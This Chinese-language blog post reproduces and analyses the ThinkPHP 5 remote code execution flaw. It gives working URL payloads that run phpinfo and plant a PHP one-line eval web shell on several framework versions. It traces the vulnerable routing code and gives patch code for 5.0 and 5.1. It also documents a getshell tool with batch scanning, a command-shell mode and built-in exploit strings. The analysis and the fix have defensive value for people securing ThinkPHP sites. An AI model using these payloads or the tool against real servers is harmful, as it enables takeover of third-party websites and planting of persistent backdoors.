thinkphp5 RCE漏洞重現及分析
0x00 概述
近日,thinkphp釋出了安全更新,修復一個可getshell的rce漏洞。
0x01 影響範圍
5.x < 5.1.31
5.x <= 5.0.23
以及基於PHP/">ThinkPHP5 二次開發的cms,如AdminLTE後臺管理系統、thinkcmf、ThinkSNS等
0x02 漏洞重現
win7+thinkphp5.1.24
(1)執行phpinfo
/index.php/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
(2)寫一句話木馬
/index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>’
debian+thinkphp5.1.30
(1)執行phpinfo
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
(2)寫一句話木馬
/index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>
win7+thinkphp5.0.16
(1)執行phpinfo
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
(2)寫一句話木馬
/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>
0x03 修復方案
- 直接git/composer更新
- 手工修復
5.1版本
在think\route\dispatch\Url類的parseUrl方法,解析控制器後加上
if ($controller && !preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) {
throw new HttpException(404, ‘controller not exists:’ . $controller);}
5.0版本
在think\App類的module方法的獲取控制器的程式碼後面加上
if (!preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) {
throw new HttpException(404, ‘controller not exists:’ . $controller);}
如果改完後404,嘗試修改正則,加上\/
0x04 漏洞分析
Thinkphp5.1.24:
先看補丁:
對controller添加了過濾
檢視路由排程:
Module.php:83
public function exec() { // 監聽module_init $this->app['hook']->listen('module_init'); try { // 例項化控制器 $instance = $this->app->controller($this->controller, $this->rule->getConfig('url_controller_layer'), $this->rule->getConfig('controller_suffix'), $this->rule->getConfig('empty_controller')); } catch (ClassNotFoundException $e) { throw new HttpException(404, 'controller not exists:' . $e->getClass()); } ...... $data = $this->app->invokeReflectMethod($instance, $reflect, $vars); return $this->autoResponse($data); });
$instance = $this->app->controller
例項化控制器以呼叫其中的方法
檢視controller方法
App.php:719
public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '') { list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix); if (class_exists($class)) { return $this->__get($class); } elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) { return $this->__get($emptyClass); } throw new ClassNotFoundException('class not exists:' . $class, $class); }
list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);
parseModuleAndClass解析$name為模組和類,再例項化類
檢視該方法,第640行
protected function parseModuleAndClass($name, $layer, $appendSuffix) { if (false !== strpos($name, '\\')) { $class= $name; $module = $this->request->module(); } else { if (strpos($name, '/')) { list($module, $name) = explode('/', $name, 2); } else { $module = $this->request->module(); } $class = $this->parseClass($module, $layer, $name, $appendSuffix); } return [$module, $class]; }
可以看出如果$name包含了\,就
$class = $name;
$module = $this->request->module();
……
return [$module, $class];
直接將$name作為類名了,而名稱空間就含有\,所以可以利用名稱空間來例項化任意一個類
現在看看如何控制$name,即$controller。
檢視路由解析,即如何解析url的
Url.php:37
protected function parseUrl($url) { $depr = $this->rule->getConfig('pathinfo_depr'); $bind = $this->rule->getRouter()->getBind(); if (!empty($bind) && preg_match('/^[a-z]/is', $bind)) { $bind = str_replace('/', $depr, $bind); // 如果有模組/控制器繫結 $url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr); } list($path, $var) = $this->rule->parseUrlPath($url); if (empty($path)) { return [null, null, null]; }
list($path, $var) = $this->rule->parseUrlPath($url);
呼叫了parseUrlPath(),繼續跟進
檢視Rule.php:947
public function parseUrlPath($url) { // 分隔符替換 確保路由定義使用統一的分隔符 $url = str_replace('|', '/', $url); $url = trim($url, '/'); $var = []; if (false !== strpos($url, '?')) { // [模組/控制器/操作?]引數1=值1&引數2=值2... $info = parse_url($url); $path = explode('/', $info['path']); parse_str($info['query'], $var); } elseif (strpos($url, '/')) { // [模組/控制器/操作] $path = explode('/', $url); } elseif (false !== strpos($url, '=')) { // 引數1=值1&引數2=值2... $path = []; parse_str($url, $var); } else { $path = [$url]; } return [$path, $var]; }
用/分割url獲取每一部分的資訊,未過濾
看看如何獲取url:
Request.php:716
/** * 獲取當前請求URL的pathinfo資訊(不含URL字尾) * @access public * @return string */ public function path() { if (is_null($this->path)) { $suffix= $this->config['url_html_suffix']; $pathinfo = $this->pathinfo(); if (false === $suffix) { // 禁止偽靜態訪問 $this->path = $pathinfo; } elseif ($suffix) { // 去除正常的URL字尾 $this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo); } else { // 允許任何字尾訪問 $this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo); } } return $this->path; }
注意在該檔案第31行
// PATHINFO變數名 用於相容模式
‘var_pathinfo’ => ‘s’,
所以可以用pathinfo或s來傳路由
//windows會將\替換成/,建議用s
基本payload:
ofollow,noindex" target="_blank">http://127.0.0.1/public/index.php?s=index/namespace\class/method接著分析一個寫shell的exp
http://127.0.0.1/public/index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>
呼叫了\think\template\driver\file這個類
class File { protected $cacheFile; /** * 寫入編譯快取 * @access public * @paramstring $cacheFile 快取的檔名 * @paramstring $content 快取的內容 * @return void|array */ public function write($cacheFile, $content) { // 檢測模板目錄 $dir = dirname($cacheFile); if (!is_dir($dir)) { mkdir($dir, 0755, true); } // 生成模板快取檔案 if (false === file_put_contents($cacheFile, $content)) { throw new Exception('cache write error:' . $cacheFile, 11602); } }
就這樣直接寫入shell了
0x05 檢測工具
專案地址:
使用幫助
python tp5-getshell.py -h
單url檢測(poc)
使用4種poc檢測
python tp5-getshell.py -u http://www.xxx.com:8888/think5124/public/
單url檢測(getshell)
使用3種exp進行getshell,遇到先成功的exp就停止,防止重複getshell
python tp5-getshell.py -u http://www.xxx.com:8888/think5124/public/ –exploit
單url檢測(命令列shell模式)
python tp5-getshell.py -u http://www.xxx.com/ –cmdshell
批量檢測(getshell)
使用3種exp進行getshell,遇到先成功的exp就停止,防止重複getshell
python tp5-getshell.py -f urls.txt -t 2 -s 10
/*
本工具內建payload
poc0 = ‘/index.php/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1’
poc1 = ‘/index.php/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1’
poc2 = ‘/index.php/?s=index/\\think\Request/input&filter=phpinfo&data=1’
poc3 = ‘/index.php?s=/index/\\think\\request/cache&key=1|phpinfo’
本工具內建exp
exp0 = ‘/index.php/?s=index/\\think\\template\driver\\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>’
exp1 = ‘/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>’
exp2 = ‘/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\’>zxc2.php’
*/
歡迎反饋!
0x06 結語
很厲害的一個洞
0x07 參考資料
https://mp.weixin.qq.com/s/oWzDIIjJS2cwjb4rzOM4DQ
https://blog.thinkphp.cn/869075
https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815